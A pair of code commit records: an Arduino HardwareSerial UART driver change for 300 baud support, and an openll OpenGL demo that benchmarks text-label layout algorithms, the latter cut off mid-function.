sbi(*_ucsrb, _rxcie);\n}\n\nvoid HardwareSerial::end()\n{\n cbi(*_ucsrb, _rxen);\n cbi(*_ucsrb, _txen);\n cbi(*_ucsrb, _rxcie); \n}\n\nint HardwareSerial::available(void)\n{\n return (unsigned int)(RX_BUFFER_SIZE + _rx_buffer->head - _rx_buffer->tail) % RX_BUFFER_SIZE;\n}\n\nint HardwareSerial::peek(void)\n{\n if (_rx_buffer->head == _rx_buffer->tail) {\n return -1;\n } else {\n return _rx_buffer->buffer[_rx_buffer->tail];\n }\n}\n\nint HardwareSerial::read(void)\n{\n \/\/ if the head isn't ahead of the tail, we don't have any characters\n if (_rx_buffer->head == _rx_buffer->tail) {\n return -1;\n } else {\n unsigned char c = _rx_buffer->buffer[_rx_buffer->tail];\n _rx_buffer->tail = (unsigned int)(_rx_buffer->tail + 1) % RX_BUFFER_SIZE;\n return c;\n }\n}\n\nvoid HardwareSerial::flush()\n{\n \/\/ don't reverse this or there may be problems if the RX interrupt\n \/\/ occurs after reading the value of rx_buffer_head but before writing\n \/\/ the value to rx_buffer_tail; the previous value of rx_buffer_head\n \/\/ may be written to rx_buffer_tail, making it appear as if the buffer\n \/\/ don't reverse this or there may be problems if the RX interrupt\n \/\/ occurs after reading the value of rx_buffer_head but before writing\n \/\/ the value to rx_buffer_tail; the previous value of rx_buffer_head\n \/\/ may be written to rx_buffer_tail, making it appear as if the buffer\n \/\/ were full, not empty.\n _rx_buffer->head = _rx_buffer->tail;\n}\n\nvoid HardwareSerial::write(uint8_t c)\n{\n while (!((*_ucsra) & (1 << _udre)))\n ;\n\n *_udr = c;\n}\n\n\/\/ Preinstantiate Objects \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(UBRRH) && defined(UBRRL)\n HardwareSerial Serial(&rx_buffer, &UBRRH, &UBRRL, &UCSRA, &UCSRB, &UDR, RXEN, TXEN, RXCIE, UDRE, U2X);\n#elif defined(UBRR0H) && defined(UBRR0L)\n HardwareSerial Serial(&rx_buffer, &UBRR0H, &UBRR0L, &UCSR0A, &UCSR0B, &UDR0, RXEN0, TXEN0, RXCIE0, UDRE0, U2X0);\n#elif defined(USBCON)\n #warning no serial port defined (port 0)\n#else\n #error no serial port defined (port 0)\n#endif\n\n#if defined(UBRR1H)\n HardwareSerial Serial1(&rx_buffer1, &UBRR1H, &UBRR1L, &UCSR1A, &UCSR1B, &UDR1, RXEN1, TXEN1, RXCIE1, UDRE1, U2X1);\n#endif\n#if defined(UBRR2H)\n HardwareSerial Serial2(&rx_buffer2, &UBRR2H, &UBRR2L, &UCSR2A, &UCSR2B, &UDR2, RXEN2, TXEN2, RXCIE2, UDRE2, U2X2);\n#endif\n#if defined(UBRR3H)\n HardwareSerial Serial3(&rx_buffer3, &UBRR3H, &UBRR3L, &UCSR3A, &UCSR3B, &UDR3, RXEN3, TXEN3, RXCIE3, UDRE3, U2X3);\n#endif\n\n#endif \/\/ whole file\n\n<commit_msg>Fixing 300 baud communication for serial.<commit_after>\/*\n HardwareSerial.cpp - Hardware serial library for Wiring\n Copyright (c) 2006 Nicholas Zambetti. All right reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \n Modified 23 November 2006 by David A. Mellis\n Modified 28 September 2010 by Mark Sproul\n*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <inttypes.h>\n#include \"wiring.h\"\n#include \"wiring_private.h\"\n\n\/\/ this next line disables the entire HardwareSerial.cpp, \n\/\/ this is so I can support Attiny series and any other chip without a uart\n#if defined(UBRRH) || defined(UBRR0H) || defined(UBRR1H) || defined(UBRR2H) || defined(UBRR3H)\n\n#include \"HardwareSerial.h\"\n\n\/\/ Define constants and variables for buffering incoming serial data. We're\n\/\/ using a ring buffer (I think), in which rx_buffer_head is the index of the\n\/\/ location to which to write the next incoming character and rx_buffer_tail\n\/\/ is the index of the location from which to read.\n#if (RAMEND < 1000)\n #define RX_BUFFER_SIZE 32\n#else\n #define RX_BUFFER_SIZE 128\n#endif\n\nstruct ring_buffer\n{\n unsigned char buffer[RX_BUFFER_SIZE];\n int head;\n int tail;\n};\n\n#if defined(UBRRH) || defined(UBRR0H)\n ring_buffer rx_buffer = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR1H)\n ring_buffer rx_buffer1 = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR2H)\n ring_buffer rx_buffer2 = { { 0 }, 0, 0 };\n#endif\n#if defined(UBRR3H)\n ring_buffer rx_buffer3 = { { 0 }, 0, 0 };\n#endif\n\ninline void store_char(unsigned char c, ring_buffer *rx_buffer)\n{\n int i = (unsigned int)(rx_buffer->head + 1) % RX_BUFFER_SIZE;\n\n \/\/ if we should be storing the received character into the location\n \/\/ just before the tail (meaning that the head would advance to the\n \/\/ current location of the tail), we're about to overflow the buffer\n \/\/ and so we don't write the character or advance the head.\n if (i != rx_buffer->tail) {\n rx_buffer->buffer[rx_buffer->head] = c;\n rx_buffer->head = i;\n }\n}\n\n#if defined(USART_RX_vect)\n SIGNAL(USART_RX_vect)\n {\n #if defined(UDR0)\n unsigned char c = UDR0;\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8535\n #else\n #error UDR not defined\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_USART0_RECV) && defined(UDR0)\n SIGNAL(SIG_USART0_RECV)\n {\n unsigned char c = UDR0;\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_UART0_RECV) && defined(UDR0)\n SIGNAL(SIG_UART0_RECV)\n {\n unsigned char c = UDR0;\n store_char(c, &rx_buffer);\n }\n\/\/#elif defined(SIG_USART_RECV)\n#elif defined(USART0_RX_vect)\n \/\/ fixed by Mark Sproul this is on the 644\/644p\n \/\/SIGNAL(SIG_USART_RECV)\n SIGNAL(USART0_RX_vect)\n {\n #if defined(UDR0)\n unsigned char c = UDR0;\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8, atmega32\n #else\n #error UDR not defined\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(SIG_UART_RECV)\n \/\/ this is for atmega8\n SIGNAL(SIG_UART_RECV)\n {\n #if defined(UDR0)\n unsigned char c = UDR0; \/\/ atmega645\n #elif defined(UDR)\n unsigned char c = UDR; \/\/ atmega8\n #endif\n store_char(c, &rx_buffer);\n }\n#elif defined(USBCON)\n #warning No interrupt handler for usart 0\n #warning Serial(0) is on USB interface\n#else\n #error No interrupt handler for usart 0\n#endif\n\n\/\/#if defined(SIG_USART1_RECV)\n#if defined(USART1_RX_vect)\n \/\/SIGNAL(SIG_USART1_RECV)\n SIGNAL(USART1_RX_vect)\n {\n unsigned char c = UDR1;\n store_char(c, &rx_buffer1);\n }\n#elif defined(SIG_USART1_RECV)\n #error SIG_USART1_RECV\n#endif\n\n#if defined(USART2_RX_vect) && defined(UDR2)\n SIGNAL(USART2_RX_vect)\n {\n unsigned char c = UDR2;\n store_char(c, &rx_buffer2);\n }\n#elif defined(SIG_USART2_RECV)\n #error SIG_USART2_RECV\n#endif\n\n#if defined(USART3_RX_vect) && defined(UDR3)\n SIGNAL(USART3_RX_vect)\n {\n unsigned char c = UDR3;\n store_char(c, &rx_buffer3);\n }\n#elif defined(SIG_USART3_RECV)\n #error SIG_USART3_RECV\n#endif\n\n\n\n\/\/ Constructors \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial::HardwareSerial(ring_buffer *rx_buffer,\n volatile uint8_t *ubrrh, volatile uint8_t *ubrrl,\n volatile uint8_t *ucsra, volatile uint8_t *ucsrb,\n volatile uint8_t *udr,\n uint8_t rxen, uint8_t txen, uint8_t rxcie, uint8_t udre, uint8_t u2x)\n{\n _rx_buffer = rx_buffer;\n _ubrrh = ubrrh;\n _ubrrl = ubrrl;\n _ucsra = ucsra;\n _ucsrb = ucsrb;\n _udr = udr;\n _rxen = rxen;\n _txen = txen;\n _rxcie = rxcie;\n _udre = udre;\n _u2x = u2x;\n}\n\n\/\/ Public Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::begin(unsigned long baud)\n{\n uint16_t baud_setting;\n bool use_u2x = true;\n\n#if F_CPU == 16000000UL\n \/\/ hardcoded exception for compatibility with the bootloader shipped\n \/\/ with the Duemilanove and previous boards and the firmware on the 8U2\n \/\/ on the Uno and Mega 2560.\n if (baud == 57600) {\n use_u2x = false;\n }\n#endif\n\ntry_again:\n \n if (use_u2x) {\n *_ucsra = 1 << _u2x;\n baud_setting = (F_CPU \/ 4 \/ baud - 1) \/ 2;\n } else {\n *_ucsra = 0;\n baud_setting = (F_CPU \/ 8 \/ baud - 1) \/ 2;\n }\n \n if ((baud_setting > 4095) && use_u2x)\n {\n use_u2x = false;\n goto try_again;\n }\n\n \/\/ assign the baud_setting, a.k.a. ubbr (USART Baud Rate Register)\n *_ubrrh = baud_setting >> 8;\n *_ubrrl = baud_setting;\n\n sbi(*_ucsrb, _rxen);\n sbi(*_ucsrb, _txen);\n sbi(*_ucsrb, _rxcie);\n}\n\nvoid HardwareSerial::end()\n{\n cbi(*_ucsrb, _rxen);\n cbi(*_ucsrb, _txen);\n cbi(*_ucsrb, _rxcie); \n}\n\nint HardwareSerial::available(void)\n{\n return (unsigned int)(RX_BUFFER_SIZE + _rx_buffer->head - _rx_buffer->tail) % RX_BUFFER_SIZE;\n}\n\nint HardwareSerial::peek(void)\n{\n if (_rx_buffer->head == _rx_buffer->tail) {\n return -1;\n } else {\n return _rx_buffer->buffer[_rx_buffer->tail];\n }\n}\n\nint HardwareSerial::read(void)\n{\n \/\/ if the head isn't ahead of the tail, we don't have any characters\n if (_rx_buffer->head == _rx_buffer->tail) {\n return -1;\n } else {\n unsigned char c = _rx_buffer->buffer[_rx_buffer->tail];\n _rx_buffer->tail = (unsigned int)(_rx_buffer->tail + 1) % RX_BUFFER_SIZE;\n return c;\n }\n}\n\nvoid HardwareSerial::flush()\n{\n \/\/ don't reverse this or there may be problems if the RX interrupt\n \/\/ occurs after reading the value of rx_buffer_head but before writing\n \/\/ the value to rx_buffer_tail; the previous value of rx_buffer_head\n \/\/ may be written to rx_buffer_tail, making it appear as if the buffer\n \/\/ don't reverse this or there may be problems if the RX interrupt\n \/\/ occurs after reading the value of rx_buffer_head but before writing\n \/\/ the value to rx_buffer_tail; the previous value of rx_buffer_head\n \/\/ may be written to rx_buffer_tail, making it appear as if the buffer\n \/\/ were full, not empty.\n _rx_buffer->head = _rx_buffer->tail;\n}\n\nvoid HardwareSerial::write(uint8_t c)\n{\n while (!((*_ucsra) & (1 << _udre)))\n ;\n\n *_udr = c;\n}\n\n\/\/ Preinstantiate Objects \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(UBRRH) && defined(UBRRL)\n HardwareSerial Serial(&rx_buffer, &UBRRH, &UBRRL, &UCSRA, &UCSRB, &UDR, RXEN, TXEN, RXCIE, UDRE, U2X);\n#elif defined(UBRR0H) && defined(UBRR0L)\n HardwareSerial Serial(&rx_buffer, &UBRR0H, &UBRR0L, &UCSR0A, &UCSR0B, &UDR0, RXEN0, TXEN0, RXCIE0, UDRE0, U2X0);\n#elif defined(USBCON)\n #warning no serial port defined (port 0)\n#else\n #error no serial port defined (port 0)\n#endif\n\n#if defined(UBRR1H)\n HardwareSerial Serial1(&rx_buffer1, &UBRR1H, &UBRR1L, &UCSR1A, &UCSR1B, &UDR1, RXEN1, TXEN1, RXCIE1, UDRE1, U2X1);\n#endif\n#if defined(UBRR2H)\n HardwareSerial Serial2(&rx_buffer2, &UBRR2H, &UBRR2L, &UCSR2A, &UCSR2B, &UDR2, RXEN2, TXEN2, RXCIE2, UDRE2, U2X2);\n#endif\n#if defined(UBRR3H)\n HardwareSerial Serial3(&rx_buffer3, &UBRR3H, &UBRR3L, &UCSR3A, &UCSR3B, &UDR3, RXEN3, TXEN3, RXCIE3, UDRE3, U2X3);\n#endif\n\n#endif \/\/ whole file\n\n<|endoftext|>"} {"text":"<commit_before>#include <cassert>\n#include <iostream>\n#include <map>\n#include <random>\n\n#include <GLFW\/glfw3.h>\n\n#include <glbinding\/Binding.h>\n#include <glbinding\/callbacks.h>\n#include <glbinding\/gl\/gl.h>\n#include <globjects\/globjects.h>\n\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <openll\/GlyphRenderer.h>\n#include <openll\/FontLoader.h>\n#include <openll\/Typesetter.h>\n#include <openll\/stages\/GlyphPreparationStage.h>\n\n#include <openll\/FontFace.h>\n#include <openll\/GlyphSequence.h>\n#include <openll\/Alignment.h>\n#include <openll\/LineAnchor.h>\n#include <openll\/SuperSampling.h>\n#include <openll\/layout\/layoutbase.h>\n#include <openll\/layout\/algorithm.h>\n\n#include <cpplocate\/cpplocate.h>\n#include <cpplocate\/ModuleInfo.h>\n\n#include \"PointDrawable.h\"\n#include \"RectangleDrawable.h\"\n#include \"benchmark.h\"\n\nusing namespace gl;\n\nglm::uvec2 g_viewport{640, 480};\nbool g_config_changed = true;\nsize_t g_algorithmID = 0;\nbool g_frames_visible = true;\nlong int g_seed = 0;\nint g_numLabels = 64;\n\nstruct Algorithm\n{\n std::string name;\n std::function<void(std::vector<gloperate_text::Label>&)> function;\n};\n\nusing namespace std::placeholders;\n\nstd::vector<Algorithm> layoutAlgorithms\n{\n {\"constant\", gloperate_text::layout::constant},\n {\"random\", gloperate_text::layout::random},\n {\"greedy with area\", std::bind(gloperate_text::layout::greedy, _1, gloperate_text::layout::overlapArea)},\n {\"discreteGradientDescent with area\", std::bind(gloperate_text::layout::discreteGradientDescent, _1, gloperate_text::layout::overlapArea)},\n {\"simulatedAnnealing with area\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::overlapArea, false, glm::vec2(0.f))},\n {\"simulatedAnnealing\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, false, glm::vec2(0.f))},\n {\"simulatedAnnealing with padding\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, false, glm::vec2(0.2f))},\n {\"simulatedAnnealing with selection\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, true, glm::vec2(0.f))},\n {\"simulatedAnnealing (everything)\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, true, glm::vec2(0.2f))},\n};\n\nvoid onResize(GLFWwindow*, int width, int height)\n{\n g_viewport = {width, height};\n g_config_changed = true;\n}\n\nvoid onKeyPress(GLFWwindow * window, int key, int, int action, int mods)\n{\n if (key == 'Q' && action == GLFW_PRESS && mods == GLFW_MOD_CONTROL)\n {\n glfwSetWindowShouldClose(window, 1);\n }\n else if (key == 'F' && action == GLFW_PRESS)\n {\n g_frames_visible = !g_frames_visible;\n }\n else if (key == 'R' && action == GLFW_PRESS)\n {\n g_seed = std::chrono::high_resolution_clock::now().time_since_epoch().count();\n g_config_changed = true;\n }\n else if (key == '-' && action == GLFW_PRESS)\n {\n g_numLabels = std::max(g_numLabels - 8, 8);\n g_config_changed = true;\n }\n else if ((key == '+' || key == '=') && action == GLFW_PRESS)\n {\n g_numLabels = std::min(g_numLabels + 8, 1024);\n g_config_changed = true;\n }\n else if ('1' <= key && key <= '9' && action == GLFW_PRESS)\n {\n g_algorithmID = std::min(static_cast<size_t>(key - '1'), layoutAlgorithms.size() - 1);\n g_config_changed = true;\n }\n}\n\nvoid glInitialize()\n{\n glbinding::Binding::initialize(false);\n glbinding::setCallbackMaskExcept(\n glbinding::CallbackMask::After | glbinding::CallbackMask::Parameters,\n {\"glGetError\"});\n glbinding::setAfterCallback([](const glbinding::FunctionCall& call) {\n const auto error = glGetError();\n if (error != GL_NO_ERROR)\n {\n std::cout << error << \" in \" << call.function->name()\n << \" with parameters:\" << std::endl;\n for (const auto& parameter : call.parameters)\n {\n std::cout << \" \" << parameter->asString() << std::endl;\n }\n }\n });\n globjects::init();\n std::cout << \"OpenGL version: \" << glGetString(GL_VERSION) << std::endl;\n}\n\n\nstd::string random_name(std::default_random_engine engine)\n{\n std::uniform_int_distribution<int> charDistribution(32, 126);\n std::uniform_int_distribution<int> lengthDistribution(3, 15);\n const auto length = lengthDistribution(engine);\n std::vector<char> characters;\n for (int i = 0; i < length; ++i)\n {\n characters.push_back(static_cast<char>(charDistribution(engine)));\n }\n return {characters.begin(), characters.end()};\n}\n\nstd::vector<gloperate_text::Label> prepareLabels(gloperate_text::FontFace * font, glm::uvec2 viewport)\n{\n std::vector<gloperate_text::Label> labels;\n\n std::default_random_engine generator;\n generator.seed(g_seed);\n std::uniform_real_distribution<float> distribution(-1.f, 1.f);\n std::uniform_int_distribution<unsigned int> priorityDistribution(1, 10);\n\n for (int i = 0; i < g_numLabels; ++i)\n {\n const auto string = random_name(generator);\n const auto priority = priorityDistribution(generator);\n gloperate_text::GlyphSequence sequence;\n std::u32string unicode_string(string.begin(), string.end());\n sequence.setString(unicode_string);\n sequence.setWordWrap(true);\n sequence.setLineWidth(400.f);\n sequence.setAlignment(gloperate_text::Alignment::LeftAligned);\n sequence.setLineAnchor(gloperate_text::LineAnchor::Ascent);\n sequence.setFontSize(10.f + priority);\n sequence.setFontFace(font);\n sequence.setFontColor(glm::vec4(glm::vec3(0.5f - priority * 0.05f), 1.f));\n sequence.setSuperSampling(gloperate_text::SuperSampling::Quincunx);\n\n const auto origin = glm::vec2{distribution(generator), distribution(generator)};\n \/\/ compute transform matrix\n glm::mat4 transform;\n transform = glm::translate(transform, glm::vec3(origin, 0.f));\n transform = glm::scale(transform, glm::vec3(1.f,\n static_cast<float>(viewport.x) \/ viewport.y, 1.f));\n transform = glm::scale(transform, glm::vec3(1 \/ 300.f));\n\n const auto placement = gloperate_text::LabelPlacement{ glm::vec2{ 0.f, 0.f }\n , gloperate_text::Alignment::LeftAligned, gloperate_text::LineAnchor::Baseline, true };\n\n sequence.setAdditionalTransform(transform);\n labels.push_back({sequence, origin, priority, placement});\n }\n return labels;\n}\n\ngloperate_text::GlyphVertexCloud prepareCloud(const std::vector<gloperate_text::Label> & labels)\n{\n std::vector<gloperate_text::GlyphSequence> sequences;\n for (const auto & label : labels)\n {\n if (label.placement.display)\n {\n sequences.push_back(gloperate_text::applyPlacement(label));\n }\n }\n return gloperate_text::prepareGlyphs(sequences, true);\n}\n\nvoid preparePointDrawable(const std::vector<gloperate_text::Label> & labels, PointDrawable& pointDrawable)\n{\n std::vector<Point> points;\n for (const auto & label : labels)\n {\n points.push_back({\n label.pointLocation,\n label.placement.display ? glm::vec3(.7f, .0f, .0f) : glm::vec3(.5f, .5f, .5f),\n (label.placement.display ? 4.f : 2.f) * g_viewport.x \/ 640\n });\n }\n pointDrawable.initialize(points);\n}\n\nvoid prepareRectangleDrawable(const std::vector<gloperate_text::Label> & labels, RectangleDrawable& rectangleDrawable)\n{\n std::vector<glm::vec2> rectangles;\n for (const auto & label : labels)\n {\n auto sequence = gloperate_text::applyPlacement(label);\n auto extent = gloperate_text::Typesetter::rectangle(sequence, glm::vec3(label.pointLocation, 0.f));\n rectangles.push_back(extent.first);\n rectangles.push_back(extent.first + extent.second);\n }\n rectangleDrawable.initialize(rectangles);\n}\n\nvoid runAndBenchmark(std::vector<gloperate_text::Label> & labels, Algorithm algorithm)\n{\n auto start = std::chrono::steady_clock::now();\n algorithm.function(labels);\n auto end = std::chrono::steady_clock::now();\n std::chrono::duration<double> diff = end - start;\n auto positions = labelPositionDesirability(labels);\n std::cout << \"Evaluation results for \" << algorithm.name << \":\" << std::endl\n << \"Runtime: \" << diff.count() << \"s\" << std::endl\n << \"Labels hidden: \" << labelsHidden(labels) << \"\/\" << labels.size() << std::endl\n << \"Overlaps: \" << labelOverlaps(labels) << std::endl\n << \"Overlap area: \" << labelOverlapArea(labels) << std::endl\n << \"Padding Violations: \" << labelOverlaps(labels, {0.2f, 0.2f}) << std::endl\n << \"Padding Overlap: \" << labelOverlapArea(labels, {0.2f, 0.2f}) << std::endl\n << \"Relative label positions:\" << std::endl\n << \" Upper Right: \" << positions[gloperate_text::RelativeLabelPosition::UpperRight] << std::endl\n << \" Upper Left: \" << positions[gloperate_text::RelativeLabelPosition::UpperLeft] << std::endl\n << \" Lower Left: \" << positions[gloperate_text::RelativeLabelPosition::LowerLeft] << std::endl\n << \" Lower Right: \" << positions[gloperate_text::RelativeLabelPosition::LowerRight] << std::endl;\n std::cout << std::endl;\n}\n\n\nint main()\n{\n glfwInit();\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\n auto window = glfwCreateWindow(g_viewport.x, g_viewport.y, \"Text-Demo\", 0, nullptr);\n\n if (!window)\n {\n glfwTerminate();\n return -1;\n }\n\n glfwMakeContextCurrent(window);\n\n glInitialize();\n\n glfwSetWindowSizeCallback(window, onResize);\n glfwSetKeyCallback(window, onKeyPress);\n\n cpplocate::ModuleInfo moduleInfo = cpplocate::findModule(\"openll\");\n std::string dataPath = moduleInfo.value(\"dataPath\");\n\n gloperate_text::FontLoader loader;\n auto font = loader.load(dataPath + \"\/fonts\/opensansr36\/opensansr36.fnt\");\n gloperate_text::GlyphRenderer renderer;\n gloperate_text::GlyphVertexCloud cloud;\n std::vector<gloperate_text::Label> labels;\n PointDrawable pointDrawable {dataPath};\n RectangleDrawable rectangleDrawable {dataPath};\n glClearColor(1.f, 1.f, 1.f, 1.f);\n\n\n while (!glfwWindowShouldClose(window))\n {\n if (g_config_changed)\n {\n glViewport(0, 0, g_viewport.x, g_viewport.y);\n labels = prepareLabels(font, g_viewport);\n runAndBenchmark(labels, layoutAlgorithms[g_algorithmID]);\n cloud = prepareCloud(labels);\n preparePointDrawable(labels, pointDrawable);\n prepareRectangleDrawable(labels, rectangleDrawable);\n }\n\n gl::glClear(gl::GL_COLOR_BUFFER_BIT | gl::GL_DEPTH_BUFFER_BIT);\n\n gl::glDepthMask(gl::GL_FALSE);\n gl::glEnable(gl::GL_CULL_FACE);\n gl::glEnable(gl::GL_BLEND);\n gl::glBlendFunc(gl::GL_SRC_ALPHA, gl::GL_ONE_MINUS_SRC_ALPHA);\n\n renderer.render(cloud);\n pointDrawable.render();\n if (g_frames_visible)\n rectangleDrawable.render();\n\n gl::glDepthMask(gl::GL_TRUE);\n gl::glDisable(gl::GL_CULL_FACE);\n gl::glDisable(gl::GL_BLEND);\n\n g_config_changed = false;\n\n glfwSwapBuffers(window);\n glfwPollEvents();\n }\n\n glfwTerminate();\n}\n<commit_msg>Improve layout example<commit_after>#include <cassert>\n#include <iostream>\n#include <map>\n#include <random>\n\n#include <GLFW\/glfw3.h>\n\n#include <glbinding\/Binding.h>\n#include <glbinding\/callbacks.h>\n#include <glbinding\/gl\/gl.h>\n#include <globjects\/globjects.h>\n\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <openll\/GlyphRenderer.h>\n#include <openll\/FontLoader.h>\n#include <openll\/Typesetter.h>\n#include <openll\/stages\/GlyphPreparationStage.h>\n\n#include <openll\/FontFace.h>\n#include <openll\/GlyphSequence.h>\n#include <openll\/Alignment.h>\n#include <openll\/LineAnchor.h>\n#include <openll\/SuperSampling.h>\n#include <openll\/layout\/layoutbase.h>\n#include <openll\/layout\/algorithm.h>\n\n#include <cpplocate\/cpplocate.h>\n#include <cpplocate\/ModuleInfo.h>\n\n#include \"PointDrawable.h\"\n#include \"RectangleDrawable.h\"\n#include \"benchmark.h\"\n\nusing namespace gl;\n\nglm::uvec2 g_viewport{640, 480};\nbool g_config_changed = true;\nsize_t g_algorithmID = 0;\nbool g_frames_visible = true;\nlong int g_seed = 0;\nint g_numLabels = 64;\n\nstruct Algorithm\n{\n std::string name;\n std::function<void(std::vector<gloperate_text::Label>&)> function;\n};\n\nusing namespace std::placeholders;\n\nstd::vector<Algorithm> layoutAlgorithms\n{\n {\"Constant\", gloperate_text::layout::constant},\n {\"Random\", gloperate_text::layout::random},\n {\"Greedy\", std::bind(gloperate_text::layout::greedy, _1, gloperate_text::layout::standard)},\n {\"Discrete Gradient Descent with area\", std::bind(gloperate_text::layout::discreteGradientDescent, _1, gloperate_text::layout::standard)},\n {\"Simulated Annealing\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, false, glm::vec2(0.f))},\n {\"Simulated Annealing with padding\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, false, glm::vec2(0.2f))},\n {\"Simulated Annealing with selection\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, true, glm::vec2(0.f))},\n {\"Simulated Annealing (padding, selection)\", std::bind(gloperate_text::layout::simulatedAnnealing, _1, gloperate_text::layout::standard, true, glm::vec2(0.2f))},\n};\n\nvoid onResize(GLFWwindow*, int width, int height)\n{\n g_viewport = {width, height};\n g_config_changed = true;\n}\n\nvoid onKeyPress(GLFWwindow * window, int key, int, int action, int mods)\n{\n if (key == 'Q' && action == GLFW_PRESS && mods == GLFW_MOD_CONTROL)\n {\n glfwSetWindowShouldClose(window, 1);\n }\n else if (key == 'F' && action == GLFW_PRESS)\n {\n g_frames_visible = !g_frames_visible;\n }\n else if (key == 'R' && action == GLFW_PRESS)\n {\n g_seed = std::chrono::high_resolution_clock::now().time_since_epoch().count();\n g_config_changed = true;\n }\n else if (key == '-' && action == GLFW_PRESS)\n {\n g_numLabels = std::max(g_numLabels - 8, 8);\n g_config_changed = true;\n }\n else if ((key == '+' || key == '=') && action == GLFW_PRESS)\n {\n g_numLabels = std::min(g_numLabels + 8, 1024);\n g_config_changed = true;\n }\n else if ('1' <= key && key <= '9' && action == GLFW_PRESS)\n {\n g_algorithmID = std::min(static_cast<size_t>(key - '1'), layoutAlgorithms.size() - 1);\n g_config_changed = true;\n }\n}\n\nvoid glInitialize()\n{\n glbinding::Binding::initialize(false);\n glbinding::setCallbackMaskExcept(\n glbinding::CallbackMask::After | glbinding::CallbackMask::Parameters,\n {\"glGetError\"});\n glbinding::setAfterCallback([](const glbinding::FunctionCall& call) {\n const auto error = glGetError();\n if (error != GL_NO_ERROR)\n {\n std::cout << error << \" in \" << call.function->name()\n << \" with parameters:\" << std::endl;\n for (const auto& parameter : call.parameters)\n {\n std::cout << \" \" << parameter->asString() << std::endl;\n }\n }\n });\n globjects::init();\n std::cout << \"OpenGL version: \" << glGetString(GL_VERSION) << std::endl;\n}\n\n\nstd::string random_name(std::default_random_engine engine)\n{\n std::uniform_int_distribution<int> upperDistribution(65, 90);\n std::uniform_int_distribution<int> lowerDistribution(97, 122);\n std::uniform_int_distribution<int> lengthDistribution(3, 14);\n const auto length = lengthDistribution(engine);\n std::vector<char> characters;\n characters.push_back(static_cast<char>(upperDistribution(engine)));\n for (int i = 0; i < length; ++i)\n {\n characters.push_back(static_cast<char>(lowerDistribution(engine)));\n }\n return {characters.begin(), characters.end()};\n}\n\nstd::vector<gloperate_text::Label> prepareLabels(gloperate_text::FontFace * font, glm::uvec2 viewport)\n{\n std::vector<gloperate_text::Label> labels;\n\n std::default_random_engine generator;\n generator.seed(g_seed);\n std::uniform_real_distribution<float> y_distribution(-.8f, .6f);\n std::uniform_real_distribution<float> x_distribution(-.8f, .8f);\n std::uniform_int_distribution<unsigned int> priorityDistribution(1, 10);\n\n for (int i = 0; i < g_numLabels; ++i)\n {\n const auto string = random_name(generator);\n const std::u32string unicode_string {string.begin(), string.end()};\n const auto priority = priorityDistribution(generator);\n const auto origin = glm::vec2{x_distribution(generator), y_distribution(generator)};\n\n gloperate_text::GlyphSequence sequence;\n sequence.setString(unicode_string);\n sequence.setWordWrap(true);\n sequence.setLineWidth(400.f);\n sequence.setAlignment(gloperate_text::Alignment::LeftAligned);\n sequence.setLineAnchor(gloperate_text::LineAnchor::Ascent);\n sequence.setFontSize(10.f + priority);\n sequence.setFontFace(font);\n sequence.setFontColor(glm::vec4(glm::vec3(0.5f - priority * 0.05f), 1.f));\n sequence.setSuperSampling(gloperate_text::SuperSampling::Quincunx);\n\n \/\/ compute transform matrix\n glm::mat4 transform;\n transform = glm::translate(transform, glm::vec3(origin, 0.f));\n transform = glm::scale(transform, glm::vec3(1.f,\n static_cast<float>(viewport.x) \/ viewport.y, 1.f));\n transform = glm::scale(transform, glm::vec3(1 \/ 300.f));\n\n const auto placement = gloperate_text::LabelPlacement{ glm::vec2{ 0.f, 0.f }\n , gloperate_text::Alignment::LeftAligned, gloperate_text::LineAnchor::Baseline, true };\n\n sequence.setAdditionalTransform(transform);\n labels.push_back({sequence, origin, priority, placement});\n }\n return 